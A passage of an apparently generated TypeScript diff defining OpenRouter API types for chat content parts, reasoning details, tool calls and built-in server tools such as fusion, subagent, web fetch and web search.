request. + * @example {"ttl":"5m","type":"ephemeral"} + */ +export type ChatContentCacheControl = AnthropicCacheControlDirective & object + +/** + * @description Marks an explicit prompt-cache boundary on this content block (OpenAI-style). Everything through the block carrying this marker is part of the candidate cached prefix. Supported natively by OpenAI GPT-5.6 and newer; on providers that use Anthropic-style `cache_control`, OpenRouter converts the marker to that format automatically. `ttl` ("30m" or "12h") overrides the request-level `prompt_cache_options.ttl` for this boundary; 12h writes bill at the higher cache-write rate. + * @example {"mode":"explicit","ttl":"30m"} + * @type object + */ +export type PromptCacheBreakpoint = { + mode: 'explicit' + ttl?: string | null +} | null + +/** + * @description Text content part + * @example {"text":"Hello, world!","type":"text"} + * @type object + */ +export type ChatContentText = { + /** + * @description Anthropic-style cache breakpoint for the content part. Interchangeable with the OpenAI-style `prompt_cache_breakpoint` marker: OpenRouter converts between the two based on the provider serving the request. + * @example {"ttl":"5m","type":"ephemeral"} + */ + cache_control?: ChatContentCacheControl + /** + * @description Marks an explicit prompt-cache boundary on this content block (OpenAI-style). Everything through the block carrying this marker is part of the candidate cached prefix. Supported natively by OpenAI GPT-5.6 and newer; on providers that use Anthropic-style `cache_control`, OpenRouter converts the marker to that format automatically. `ttl` ("30m" or "12h") overrides the request-level `prompt_cache_options.ttl` for this boundary; 12h writes bill at the higher cache-write rate. + * @example {"mode":"explicit","ttl":"30m"} + * @type object | undefined + */ + prompt_cache_breakpoint?: PromptCacheBreakpoint | null + text: string + type: 'text' +} + +export const chatContentImageImageUrlDetailEnum = { + auto: 'auto', + low: 'low', + high: 'high', + original: 'original', +} as const + +export type ChatContentImageImageUrlDetailEnumKey = + (typeof chatContentImageImageUrlDetailEnum)[keyof typeof chatContentImageImageUrlDetailEnum] + +/** + * @description Image content part for vision models + * @example {"image_url":{"detail":"auto","url":"https://example.com/image.jpg"},"type":"image_url"} + * @type object + */ +export type ChatContentImage = { + image_url: { + /** + * @description Image detail level for vision models. `original` is an OpenRouter extension (not in the OpenAI Chat Completions spec) requesting true original-resolution media; it is downgraded to `high` for providers that lack an original-resolution tier. + * @type string | undefined + */ + detail?: ChatContentImageImageUrlDetailEnumKey + /** + * @description URL of the image (data: URLs supported) + * @type string + */ + url: string + } + type: 'image_url' +} + +/** + * @description Audio input content part. Supported audio formats vary by provider. + * @example {"input_audio":{"data":"SGVsbG8gV29ybGQ=","format":"wav"},"type":"input_audio"} + * @type object + */ +export type ChatContentAudio = { + input_audio: { + /** + * @description Base64 encoded audio data + * @type string + */ + data: string + /** + * @description Audio format (e.g., wav, mp3, flac, m4a, ogg, aiff, aac, pcm16, pcm24). Supported formats vary by provider. + * @type string + */ + format: string + } + type: 'input_audio' +} + +export const legacyChatContentVideoInputProcessingEnum = { + agentic: 'agentic', + static: 'static', +} as const + +export type LegacyChatContentVideoInputProcessingEnumKey = + (typeof legacyChatContentVideoInputProcessingEnum)[keyof typeof legacyChatContentVideoInputProcessingEnum] + +/** + * @description Video input object + * @example {"url":"https://example.com/video.mp4"} + * @type object + */ +export type LegacyChatContentVideoInput = { + /** + * @description Video processing mode. `agentic` enables agentic video processing and `static` forces fixed-rate frame sampling on providers that support it (currently Google Gemini). + * @example agentic + * @type string | undefined + */ + processing?: LegacyChatContentVideoInputProcessingEnumKey + /** + * @description URL of the video (data: URLs supported) + * @type string + */ + url: string +} + +/** + * @description Video input content part (legacy format - deprecated) + * @deprecated + * @example {"type":"input_video","video_url":{"url":"https://example.com/video.mp4"}} + * @type object + */ +export type LegacyChatContentVideo = { + type: 'input_video' + /** + * @description Video input object + * @example {"url":"https://example.com/video.mp4"} + * @type object + */ + video_url: LegacyChatContentVideoInput +} + +export const chatContentVideoInputProcessingEnum = { + agentic: 'agentic', + static: 'static', +} as const + +export type ChatContentVideoInputProcessingEnumKey = + (typeof chatContentVideoInputProcessingEnum)[keyof typeof chatContentVideoInputProcessingEnum] + +/** + * @description Video input object + * @example {"url":"https://example.com/video.mp4"} + * @type object + */ +export type ChatContentVideoInput = { + /** + * @description Video processing mode. `agentic` enables agentic video processing and `static` forces fixed-rate frame sampling on providers that support it (currently Google Gemini). + * @example agentic + * @type string | undefined + */ + processing?: ChatContentVideoInputProcessingEnumKey + /** + * @description URL of the video (data: URLs supported) + * @type string + */ + url: string +} + +/** + * @description Video input content part + * @example {"type":"video_url","video_url":{"url":"https://example.com/video.mp4"}} + * @type object + */ +export type ChatContentVideo = { + type: 'video_url' + /** + * @description Video input object + * @example {"url":"https://example.com/video.mp4"} + * @type object + */ + video_url: ChatContentVideoInput +} + +/** + * @description File content part for document processing + * @example {"file":{"file_data":"https://example.com/document.pdf","filename":"document.pdf"},"type":"file"} + * @type object + */ +export type ChatContentFile = { + file: { + /** + * @description File content as base64 data URL or URL + * @type string | undefined + */ + file_data?: string + /** + * @description File ID for previously uploaded files + * @type string | undefined + */ + file_id?: string + /** + * @description Original filename + * @type string | undefined + */ + filename?: string + } + type: 'file' +} + +/** + * @description Content part for chat completion messages + * @example {"text":"Hello, world!","type":"text"} + */ +export type ChatContentItems = + | (ChatContentText & { + type: 'text' + }) + | (ChatContentImage & { + type: 'image_url' + }) + | (ChatContentAudio & { + type: 'input_audio' + }) + | (LegacyChatContentVideo & { + type: 'input_video' + }) + | (ChatContentVideo & { + type: 'video_url' + }) + | (ChatContentFile & { + type: 'file' + }) + +export const reasoningFormat = { + unknown: 'unknown', + 'openai-responses-v1': 'openai-responses-v1', + 'azure-openai-responses-v1': 'azure-openai-responses-v1', + 'bedrock-openai-responses-v1': 'bedrock-openai-responses-v1', + 'bedrock-xai-responses-v1': 'bedrock-xai-responses-v1', + 'xai-responses-v1': 'xai-responses-v1', + 'meta-responses-v1': 'meta-responses-v1', + 'openrouter-stealth-v1': 'openrouter-stealth-v1', + 'anthropic-claude-v1': 'anthropic-claude-v1', + 'google-gemini-v1': 'google-gemini-v1', +} as const + +export type ReasoningFormatKey = + (typeof reasoningFormat)[keyof typeof reasoningFormat] + +/** + * @description Reasoning detail summary schema + * @example {"summary":"The model analyzed the problem by first identifying key constraints, then evaluating possible solutions...","type":"reasoning.summary"} + * @type object + */ +export type ReasoningDetailSummary = { + /** + * @example unknown + * @type string | undefined + */ + format?: ReasoningFormatKey | null + id?: string | null + index?: number + summary: string + type: 'reasoning.summary' +} + +/** + * @description Reasoning detail encrypted schema + * @example {"data":"encrypted data","type":"reasoning.encrypted"} + * @type object + */ +export type ReasoningDetailEncrypted = { + data: string + /** + * @example unknown + * @type string | undefined + */ + format?: ReasoningFormatKey | null + id?: string | null + index?: number + type: 'reasoning.encrypted' +} + +/** + * @description Reasoning detail text schema + * @example {"signature":"signature","text":"The model analyzed the problem by first identifying key constraints, then evaluating possible solutions...","type":"reasoning.text"} + * @type object + */ +export type ReasoningDetailText = { + /** + * @example unknown + * @type string | undefined + */ + format?: ReasoningFormatKey | null + id?: string | null + index?: number + signature?: string | null + text?: string | null + type: 'reasoning.text' +} + +/** + * @description Record of an OpenRouter server-tool invocation (e.g. openrouter:fusion), carried in reasoning_details so a prior tool call can be rehydrated into a later turn of the same conversation. + * @example {"arguments":"{\"prompt\":\"Compare carbon tax proposals\"}","result":"{\"status\":\"ok\",\"models\":[\"openai/gpt-4o\"]}","tool_call_id":"call_abc123","tool_name":"openrouter:fusion","type":"reasoning.server_tool_call"} + * @type object + */ +export type ReasoningDetailServerToolCall = { + arguments: string + /** + * @example unknown + * @type string | undefined + */ + format?: ReasoningFormatKey | null + id?: string | null + index?: number + result: string + tool_call_id?: string | null + tool_name: string + type: 'reasoning.server_tool_call' +} + +/** + * @description Reasoning detail union schema + * @example {"summary":"The model analyzed the problem by first identifying key constraints, then evaluating possible solutions...","type":"reasoning.summary"} + */ +export type ReasoningDetailUnion = + | (ReasoningDetailSummary & { + type: 'reasoning.summary' + }) + | (ReasoningDetailEncrypted & { + type: 'reasoning.encrypted' + }) + | (ReasoningDetailText & { + type: 'reasoning.text' + }) + | (ReasoningDetailServerToolCall & { + type: 'reasoning.server_tool_call' + }) + +/** + * @description Reasoning details for extended thinking models + * @example [{"text":"Let me work through this step by step...","type":"reasoning.text"}] + * @type array + */ +export type ChatReasoningDetails = ReasoningDetailUnion[] + +/** + * @description Tool call made by the assistant + * @example {"function":{"arguments":"{\"location\": \"Boston, MA\"}","name":"get_current_weather"},"id":"call_abc123","type":"function"} + * @type object + */ +export type ChatToolCall = { + function: { + /** + * @description Function arguments as JSON string + * @type string + */ + arguments: string + /** + * @description Function name to call + * @type string + */ + name: string + } + /** + * @description Tool call identifier + * @type string + */ + id: string + type: 'function' +} + +/** + * @description Assistant message for requests and responses + * @example {"content":"The capital of France is Paris.","model":"openai/gpt-4o","role":"assistant"} + * @type object + */ +export type ChatAssistantMessage = { + /** + * @description Audio output data or reference + * @example {"data":"UklGRnoGAABXQVZFZm10IBAAAAABAAEAQB8AAEAfAAABAAgAZGF0YQoGAACBhYqFbF1f","expires_at":1677652400,"id":"audio_abc123","transcript":"Hello! How can I help you today?"} + * @type object | undefined + */ + audio?: ChatAudioOutput + /** + * @description Assistant message content + */ + content?: string | ChatContentItems[] | null + /** + * @description Generated images from image generation models + * @example [{"image_url":{"url":"data:image/png;base64,iVBORw0KGgo..."}}] + * @type array | undefined + */ + images?: ChatAssistantImages + /** + * @description Model that generated this assistant message + * @example openai/gpt-4o + * @type string | undefined + */ + model?: string + /** + * @description Optional name for the assistant + * @type string | undefined + */ + name?: string + /** + * @description Reasoning output + * @type string | undefined + */ + reasoning?: string | null + /** + * @description Reasoning details for extended thinking models + * @example [{"text":"Let me work through this step by step...","type":"reasoning.text"}] + * @type array | undefined + */ + reasoning_details?: ChatReasoningDetails + /** + * @description Refusal message if content was refused + * @type string | undefined + */ + refusal?: string | null + role: 'assistant' + /** + * @description Tool calls made by the assistant + * @type array | undefined + */ + tool_calls?: ChatToolCall[] +} + +/** + * @description Debug options for inspecting request transformations (streaming only) + * @example {"echo_upstream_body":true} + * @type object + */ +export type ChatDebugOptions = { + /** + * @description If true, includes the transformed upstream request body in a debug chunk at the start of the stream. Only works with streaming mode. + * @example true + * @type boolean | undefined + */ + echo_upstream_body?: boolean +} + +export const configurationUpdateReasoningEffortEnum = { + max: 'max', + xhigh: 'xhigh', + high: 'high', + medium: 'medium', + low: 'low', + minimal: 'minimal', + none: 'none', +} as const + +export type ConfigurationUpdateReasoningEffortEnumKey = + (typeof configurationUpdateReasoningEffortEnum)[keyof typeof configurationUpdateReasoningEffortEnum] + +/** + * @description Reasoning settings applied from this point in the conversation onward + * @example {"effort":"low"} + * @type object + */ +export type ConfigurationUpdateReasoning = { + /** + * @description Reasoning effort to apply from this point in the conversation onward + * @example low + * @type string + */ + effort: ConfigurationUpdateReasoningEffortEnumKey +} + +/** + * @description Mid-conversation configuration update. Changes reasoning effort from this point onward without invalidating the prompt cache for the preceding turns. + * @example {"reasoning":{"effort":"low"}} + * @type object + */ +export type ConfigurationUpdate = { + /** + * @description Reasoning settings applied from this point in the conversation onward + * @example {"effort":"low"} + * @type object + */ + reasoning: ConfigurationUpdateReasoning +} + +/** + * @description Developer message + * @example {"content":"This is a message from the developer.","role":"developer"} + * @type object + */ +export type ChatDeveloperMessage = { + /** + * @description OpenRouter extension. Same as the system message `configuration_update`: changes reasoning effort from this point in the conversation onward without invalidating the prompt cache for the preceding turns. + * @example {"reasoning":{"effort":"low"}} + */ + configuration_update?: ConfigurationUpdate | null + /** + * @description Developer message content + * @example This is a message from the developer. + */ + content: string | ChatContentText[] + /** + * @description Optional name for the developer message + * @example Developer + * @type string | undefined + */ + name?: string + role: 'developer' +} + +/** + * @description Generic OpenRouter server-tool envelope. `type` names a registered server tool (canonical `openrouter:*` form or a registered shorthand); `parameters` carries tool-specific configuration validated against the tool definition. + * @example {"parameters":{},"type":"openrouter:datetime_v2"} + * @type object + */ +export type ChatDynamicServerTool = { + parameters?: { + [key: string]: unknown + } + type: string +} + +/** + * @description Custom grammar response format + * @example {"grammar":"root ::= \"yes\" | \"no\"","type":"grammar"} + * @type object + */ +export type ChatFormatGrammarConfig = { + /** + * @description Custom grammar for text generation + * @example root ::= "yes" | "no" + * @type string + */ + grammar: string + type: 'grammar' +} + +/** + * @description JSON object response format + * @example {"type":"json_object"} + * @type object + */ +export type ChatFormatJsonObjectConfig = { + type: 'json_object' +} + +/** + * @description JSON Schema configuration object + * @example {"description":"A mathematical response","name":"math_response","schema":{"properties":{"answer":{"type":"number"}},"required":["answer"],"type":"object"},"strict":true} + * @type object + */ +export type ChatJsonSchemaConfig = { + /** + * @description Schema description for the model + * @example A mathematical response + * @type string | undefined + */ + description?: string + /** + * @description Schema name (a-z, A-Z, 0-9, underscores, dashes, max 64 chars) + * @maxLength 64 + * @example math_response + * @type string + */ + name: string + /** + * @description JSON Schema object + * @example {"properties":{"answer":{"type":"number"}},"required":["answer"],"type":"object"} + * @type object | undefined + */ + schema?: { + [key: string]: unknown + } + /** + * @description Enable strict schema adherence + * @example false + * @type boolean | undefined + */ + strict?: boolean | null +} + +/** + * @description JSON Schema response format for structured outputs + * @example {"json_schema":{"name":"math_response","schema":{"properties":{"answer":{"type":"number"}},"required":["answer"],"type":"object"}},"type":"json_schema"} + * @type object + */ +export type ChatFormatJsonSchemaConfig = { + /** + * @description JSON Schema configuration object + * @example {"description":"A mathematical response","name":"math_response","schema":{"properties":{"answer":{"type":"number"}},"required":["answer"],"type":"object"},"strict":true} + * @type object + */ + json_schema: ChatJsonSchemaConfig + type: 'json_schema' +} + +/** + * @description Python code response format + * @example {"type":"python"} + * @type object + */ +export type ChatFormatPythonConfig = { + type: 'python' +} + +/** + * @description Default text response format + * @example {"type":"text"} + * @type object + */ +export type ChatFormatTextConfig = { + type: 'text' +} + +/** + * @description Configuration for the openrouter:datetime server tool + * @example {"timezone":"America/New_York"} + * @type object + */ +export type DatetimeServerToolConfig = { + /** + * @description IANA timezone name (e.g. "America/New_York"). Defaults to UTC. + * @example America/New_York + * @type string | undefined + */ + timezone?: string +} + +/** + * @description OpenRouter built-in server tool: returns the current date and time + * @example {"parameters":{"timezone":"America/New_York"},"type":"openrouter:datetime"} + * @type object + */ +export type DatetimeServerTool = { + /** + * @description Configuration for the openrouter:datetime server tool + * @example {"timezone":"America/New_York"} + * @type object | undefined + */ + parameters?: DatetimeServerToolConfig + type: 'openrouter:datetime' +} + +/** + * @description Configuration for the openrouter:files server tool + * @example {} + * @type object + */ +export type FilesServerToolConfig = object + +/** + * @description OpenRouter built-in server tool: read, write, edit, and list workspace files via the Files API. Requires an authenticated request; files come from the API key's workspace (or the default workspace for keys without one). + * @example {"parameters":{},"type":"openrouter:files"} + * @type object + */ +export type FilesServerTool = { + /** + * @description Configuration for the openrouter:files server tool + * @example {} + * @type object | undefined + */ + parameters?: FilesServerToolConfig + type: 'openrouter:files' +} + +export const fusionServerToolConfigReasoningEffortEnum = { + max: 'max', + xhigh: 'xhigh', + high: 'high', + medium: 'medium', + low: 'low', + minimal: 'minimal', + none: 'none', +} as const + +export type FusionServerToolConfigReasoningEffortEnumKey = + (typeof fusionServerToolConfigReasoningEffortEnum)[keyof typeof fusionServerToolConfigReasoningEffortEnum] + +/** + * @description Configuration for the openrouter:fusion server tool. + * @example {"analysis_models":["~anthropic/claude-opus-latest","~openai/gpt-sol-latest","~google/gemini-pro-latest"]} + * @type object + */ +export type FusionServerToolConfig = { + /** + * @description Slugs of models to run in parallel as the analysis panel. Each model receives the user prompt with openrouter:web_search and openrouter:web_fetch enabled, then an analyst model summarizes the collective output into structured analysis JSON. Capped at 8 models to bound cost amplification. Defaults to the Quality preset from /labs/fusion. + * @example ["~anthropic/claude-opus-latest","~openai/gpt-sol-latest","~google/gemini-pro-latest"] + * @type array | undefined + */ + analysis_models?: string[] + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + /** + * @description Maximum number of output tokens (including reasoning tokens) each panelist and the analyst model may produce per inner call. Controls the total output budget so reasoning-heavy models like GPT-5.5 do not exhaust their token allowance before producing visible text. Defaults to 16000 when omitted. + * @example 16384 + * @type integer | undefined + */ + max_completion_tokens?: number + /** + * @description Maximum number of tool-calling steps each panelist (analysis model) and the analyst model may take during their agentic web-research loop. Models with web_search/web_fetch enabled iterate until they produce a text response or hit this ceiling. Defaults to 4. Capped at 16. + * @minimum 1 + * @maximum 16 + * @example 12 + * @type integer | undefined + */ + max_tool_calls?: number + /** + * @description Slug of the analyst model that produces the structured analysis JSON. Defaults to the model used in the outer API request. + * @example ~anthropic/claude-opus-latest + * @type string | undefined + */ + model?: string + /** + * @description Reasoning configuration forwarded to panelist and analyst inner calls. Use this to control reasoning effort and token budget for models that support extended thinking. + * @type object | undefined + */ + reasoning?: { + /** + * @description Reasoning effort level for panelist and analyst inner calls. + * @type string | undefined + */ + effort?: FusionServerToolConfigReasoningEffortEnumKey + /** + * @description Maximum number of reasoning tokens each panelist and analyst model may use. Helps bound cost when models allocate too much budget to chain-of-thought. + * @type integer | undefined + */ + max_tokens?: number + } + /** + * @description Temperature forwarded to panelist inner calls. The analyst always runs at temperature 0 regardless of this value. When omitted, the provider's default applies. + * + * Format: `double` + * @example 0.7 + * @type number | undefined + */ + temperature?: number + /** + * @description Server tools available to panelist and analyst inner calls. Each entry uses the same `{ type, parameters? }` shorthand as the outer Chat Completions request. When omitted, defaults to `[{ type: "openrouter:web_search" }, { type: "openrouter:web_fetch" }]`. Pass an empty array to disable tools entirely (panelists answer from parametric knowledge only). + * @example [{"parameters":{"excluded_domains":["example.com"]},"type":"openrouter:web_search"},{"type":"openrouter:web_fetch"}] + * @type array | undefined + */ + tools?: { + /** + * @description Optional configuration forwarded as the tool's `parameters` object. + * @type object | undefined + */ + parameters?: { + [key: string]: unknown + } + /** + * @description Server tool type identifier (e.g. "openrouter:web_search", "openrouter:web_fetch"). + * @type string + */ + type: string + }[] +} + +/** + * @description OpenRouter built-in server tool: fans out the user prompt to a panel of analysis models, then asks an analyst model to summarize their collective output as structured JSON the outer model can synthesize from. + * @example {"parameters":{"analysis_models":["~anthropic/claude-opus-latest","~openai/gpt-sol-latest"]},"type":"openrouter:fusion"} + * @type object + */ +export type FusionServerToolOpenRouter = { + /** + * @description Configuration for the openrouter:fusion server tool. + * @example {"analysis_models":["~anthropic/claude-opus-latest","~openai/gpt-sol-latest","~google/gemini-pro-latest"]} + * @type object | undefined + */ + parameters?: FusionServerToolConfig + type: 'openrouter:fusion' +} + +/** + * @description Configuration for the openrouter:image_generation server tool. Accepts all image_config params (aspect_ratio, quality, size, background, output_format, output_compression, moderation, etc.) plus a model field. + * @example {"aspect_ratio":"16:9","model":"openai/gpt-5-image","quality":"high"} + * @type object + */ +export type ImageGenerationServerToolConfig = { + /** + * @description Which image generation model to use (e.g. "openai/gpt-5-image"). Defaults to "openai/gpt-5-image". + * @example openai/gpt-5-image + * @type string | undefined + */ + model?: string + [key: string]: unknown +} + +/** + * @description OpenRouter built-in server tool: generates images from text prompts using an image generation model + * @example {"parameters":{"model":"openai/gpt-5-image","quality":"high","size":"1024x1024"},"type":"openrouter:image_generation"} + * @type object + */ +export type ImageGenerationServerToolOpenRouter = { + /** + * @description Configuration for the openrouter:image_generation server tool. Accepts all image_config params (aspect_ratio, quality, size, background, output_format, output_compression, moderation, etc.) plus a model field. + * @example {"aspect_ratio":"16:9","model":"openai/gpt-5-image","quality":"high"} + * @type object | undefined + */ + parameters?: ImageGenerationServerToolConfig + type: 'openrouter:image_generation' +} + +/** + * @description Configuration for the openrouter:experimental__search_models server tool + * @example {"max_results":5} + * @type object + */ +export type SearchModelsServerToolConfig = { + /** + * @description Maximum number of models to return. Defaults to 5, max 20. + * @example 5 + * @type integer | undefined + */ + max_results?: number +} + +/** + * @description OpenRouter built-in server tool: searches and filters AI models available on OpenRouter + * @example {"parameters":{"max_results":5},"type":"openrouter:experimental__search_models"} + * @type object + */ +export type ChatSearchModelsServerTool = { + /** + * @description Configuration for the openrouter:experimental__search_models server tool + * @example {"max_results":5} + * @type object | undefined + */ + parameters?: SearchModelsServerToolConfig + type: 'openrouter:experimental__search_models' +} + +export const subagentReasoningEffortEnum = { + max: 'max', + xhigh: 'xhigh', + high: 'high', + medium: 'medium', + low: 'low', + minimal: 'minimal', + none: 'none', +} as const + +export type SubagentReasoningEffortEnumKey = + (typeof subagentReasoningEffortEnum)[keyof typeof subagentReasoningEffortEnum] + +/** + * @description Reasoning configuration forwarded to the subagent call. Use this to control reasoning effort and token budget for models that support extended thinking. + * @example {"effort":"low"} + * @type object + */ +export type SubagentReasoning = { + /** + * @description Reasoning effort level for the subagent call. + * @type string | undefined + */ + effort?: SubagentReasoningEffortEnumKey + /** + * @description Maximum number of reasoning tokens the subagent may use. Forwarded to the subagent call as `reasoning.max_tokens`. + * @type integer | undefined + */ + max_tokens?: number +} + +/** + * @description A tool made available to the subagent. Only OpenRouter server tools (e.g. openrouter:web_search) are supported; function tools are rejected because the worker has no way to execute them. The subagent tool may not list itself. + * @example {"type":"openrouter:web_search"} + * @type object + */ +export type SubagentNestedTool = { + parameters?: { + [key: string]: unknown + } + type: string + [key: string]: unknown +} + +/** + * @description Configuration for one openrouter:subagent server tool entry. + * @example {"model":"~anthropic/claude-haiku-latest","name":"summarizer"} + * @type object + */ +export type SubagentServerToolConfig = { + /** + * @description EXPERIMENTAL — subject to change without notice. When true, the subagent inherits every client function defined in the request's top-level `tools` list. Supported on the Responses API (`/api/v1/responses`) only; other APIs reject it with a `400`. + * @example true + * @type boolean | undefined + */ + inherit_functions?: boolean + /** + * @description EXPERIMENTAL — subject to change without notice. Names of the top-level function tools that the subagent will inherit. Any tool that matches by name will be copied fully into the tools array of the subagent. When `inherit_functions` is `true`, this list does nothing, because every client function will be inherited by default. Names are trimmed before validation, so a whitespace-only name is rejected with a `400`. Supported on the Responses API (`/api/v1/responses`) only; other APIs reject it with a `400`. + * @example ["lookup_order"] + * @type array | undefined + */ + inherited_function_names?: string[] + /** + * @description System instructions for the subagent. When omitted, the subagent responds with no system prompt of its own. + * @example You are a fast, focused worker. Complete the task exactly as described. + * @type string | undefined + */ + instructions?: string + /** + * @description Maximum number of output tokens (including reasoning) the subagent may produce. When omitted, the provider's default applies. + * @example 2048 + * @type integer | undefined + */ + max_completion_tokens?: number + /** + * @description Maximum number of tool-calling steps the subagent may take during its agentic loop. Capped at 25. Only relevant when the subagent is given tools. Forwarded to the subagent call as `max_tool_calls`. + * @minimum 1 + * @maximum 25 + * @example 5 + * @type integer | undefined + */ + max_tool_calls?: number + /** + * @description Slug of the model that executes delegated tasks (any OpenRouter model). Typically a smaller, cheaper, faster model than the one delegating. When omitted, the model from the outer API request is used. The subagent tool itself cannot be the subagent model. + * @example ~anthropic/claude-haiku-latest + * @type string | undefined + */ + model?: string + /** + * @description Optional name for this subagent. The model sees one tool per named subagent (and one default for an unnamed entry). Names must be unique across subagent entries. Letters, digits, spaces, underscores, and dashes; trimmed; 1–64 chars. + * @minLength 1 + * @maxLength 64 + * @pattern ^[a-zA-Z0-9 _-]+$ + * @example summarizer + * @type string | undefined + */ + name?: string + /** + * @description Reasoning configuration forwarded to the subagent call. Use this to control reasoning effort and token budget for models that support extended thinking. + * @example {"effort":"low"} + * @type object | undefined + */ + reasoning?: SubagentReasoning + /** + * @description Sampling temperature forwarded to the subagent call. When omitted, the provider's default applies. + * + * Format: `double` + * @example 0.7 + * @type number | undefined + */ + temperature?: number + /** + * @description Tools the subagent may use while executing a delegated task. The subagent runs as an agentic sub-agent over these tools, then returns its outcome. Only OpenRouter server tools are supported — function tools are rejected — and the list must not include the subagent tool itself. + * @type array | undefined + */ + tools?: SubagentNestedTool[] +} + +/** + * @description OpenRouter built-in server tool: delegates self-contained tasks to a smaller, cheaper, faster worker model (any OpenRouter model) mid-generation and returns its outcome. The worker may run as a sub-agent with its own tools. + * @example {"parameters":{"model":"~anthropic/claude-haiku-latest"},"type":"openrouter:subagent"} + * @type object + */ +export type SubagentServerToolOpenRouter = { + /** + * @description Configuration for one openrouter:subagent server tool entry. + * @example {"model":"~anthropic/claude-haiku-latest","name":"summarizer"} + * @type object | undefined + */ + parameters?: SubagentServerToolConfig + type: 'openrouter:subagent' +} + +export const webFetchEngineEnum = { + auto: 'auto', + native: 'native', + openrouter: 'openrouter', + exa: 'exa', + parallel: 'parallel', + firecrawl: 'firecrawl', +} as const + +export type WebFetchEngineEnumKey = + (typeof webFetchEngineEnum)[keyof typeof webFetchEngineEnum] + +/** + * @description Configuration for the openrouter:web_fetch server tool + * @example {"max_content_tokens":100000,"max_uses":10} + * @type object + */ +export type WebFetchServerToolConfig = { + /** + * @description Only fetch from these domains. + * @type array | undefined + */ + allowed_domains?: string[] + /** + * @description Never fetch from these domains. + * @type array | undefined + */ + blocked_domains?: string[] + /** + * @description Which fetch engine to use. "auto" (default) uses native if the provider supports it, otherwise Exa. "native" forces the provider's built-in fetch. "exa" uses Exa Contents API. "openrouter" uses direct HTTP fetch. "firecrawl" uses Firecrawl scrape. "parallel" uses the Parallel extract API. + * @example auto + * @type string | undefined + */ + engine?: WebFetchEngineEnumKey + /** + * @description Maximum content length in approximate tokens. Content exceeding this limit is truncated. + * @example 100000 + * @type integer | undefined + */ + max_content_tokens?: number + /** + * @description Maximum number of web fetches per request. Once exceeded, the tool returns an error. + * @example 10 + * @type integer | undefined + */ + max_uses?: number +} + +/** + * @description OpenRouter built-in server tool: fetches full content from a URL (web page or PDF) + * @example {"parameters":{"max_uses":10},"type":"openrouter:web_fetch"} + * @type object + */ +export type WebFetchServerTool = { + /** + * @description Configuration for the openrouter:web_fetch server tool + * @example {"max_content_tokens":100000,"max_uses":10} + * @type object | undefined + */ + parameters?: WebFetchServerToolConfig + type: 'openrouter:web_fetch' +} + +export const webSearchEngineEnum = { + native: 'native', + exa: 'exa', + parallel: 'parallel', + firecrawl: 'firecrawl', + perplexity: 'perplexity', + auto: 'auto', +} as const + +export type WebSearchEngineEnumKey = + (typeof webSearchEngineEnum)[keyof typeof webSearchEngineEnum] + +export const webSearchMode = { + instant: 'instant', + fast: 'fast', + auto: 'auto', + 'deep-lite': 'deep-lite', + deep: 'deep', + 'deep-reasoning': 'deep-reasoning', + turbo: 'turbo', + basic: 'basic', + advanced: 'advanced', +} as const + +export type WebSearchModeKey = + (typeof webSearchMode)[keyof typeof webSearchMode] + +export const searchQualityLevel = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type SearchQualityLevelKey = + (typeof searchQualityLevel)[keyof typeof searchQualityLevel] + +/** + * @description Approximate user location for location-biased results. + * @example {"city":"San Francisco","country":"US","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object + */ +export type WebSearchUserLocationServerTool = { + city?: string | null + country?: string | null + region?: string | null + timezone?: string | null + type?: 'approximate' +} + +/** + * @description Enable SpaceXAI X (Twitter) search alongside native web search, with optional filters. Only applies to SpaceXAI endpoints with native search; omit to search the web only. X search is billed separately by SpaceXAI, per post and per user profile fetched. + * @example {"allowed_x_handles":["OpenRouterAI"],"from_date":"2025-01-01"} + * @type object + */ +export type XSearchOptions = { + /** + * @description Only include posts from these X handles (max 20). Cannot be used with excluded_x_handles. + * @example ["OpenRouterAI"] + * @type array | undefined + */ + allowed_x_handles?: string[] + /** + * @description Analyze images attached to matching posts. + * @type boolean | undefined + */ + enable_image_understanding?: boolean + /** + * @description Analyze videos attached to matching posts. + * @type boolean | undefined + */ + enable_video_understanding?: boolean + /** + * @description Exclude posts from these X handles (max 20). Cannot be used with allowed_x_handles. + * @example ["spamaccount"] + * @type array | undefined + */ + excluded_x_handles?: string[] + /** + * @description Start of the post date range (ISO 8601 date, e.g. "2025-01-01"). + * + * Format: `date` + * @example 2025-01-01 + * @type string | undefined + */ + from_date?: string + /** + * @description End of the post date range (ISO 8601 date, e.g. "2025-12-31"). + * + * Format: `date` + * @example 2025-12-31 + * @type string | undefined + */ + to_date?: string +} + +/** + * @example {"max_results":5,"search_context_size":"medium"} + * @type object + */ +export type WebSearchConfig = { + /** + * @description Limit search results to these domains. Supported by Exa, Firecrawl, Parallel, Perplexity, and most native providers (Anthropic, OpenAI, SpaceXAI). Cannot be used with excluded_domains. + * @type array | undefined + */ + allowed_domains?: string[] + /** + * @description Which search engine to use. "auto" (default) uses native if the provider supports it, otherwise Exa. "native" forces the provider's built-in search. "exa" forces the Exa search API. "firecrawl" uses the Firecrawl search API. "parallel" uses the Parallel search API. "perplexity" uses the Perplexity Search API (raw ranked results). + * @example auto + * @type string | undefined + */ + engine?: WebSearchEngineEnumKey + /** + * @description Exclude search results from these domains. Supported by Exa, Firecrawl, Parallel, Perplexity, Anthropic, OpenAI, and SpaceXAI. Cannot be used with allowed_domains. + * @type array | undefined + */ + excluded_domains?: string[] + /** + * @description Exact maximum number of characters of content per search result. Applies to the Exa, Parallel, and Perplexity engines; ignored with native provider search and Firecrawl. For Exa, caps highlight content per result. For Parallel, caps excerpt content per result (default 1,500 when omitted). For Perplexity, maps to the native `max_tokens_per_page` parameter (converted from characters to tokens) and trims the response to the exact character cap. When both `max_characters` and `search_context_size` are set, `max_characters` takes precedence. When omitted, falls back to `search_context_size` mapping (Exa) or engine defaults (Parallel, Perplexity). + * @example 2000 + * @type integer | undefined + */ + max_characters?: number + /** + * @description Maximum number of search results to return per search call. Defaults to 5. Applies to Exa, Firecrawl, Parallel, and Perplexity engines; ignored with native provider search. Perplexity supports a maximum of 20; values above 20 are clamped. + * @example 5 + * @type integer | undefined + */ + max_results?: number + /** + * @description Maximum total number of search results across all search calls in a single request. Once this limit is reached, the tool 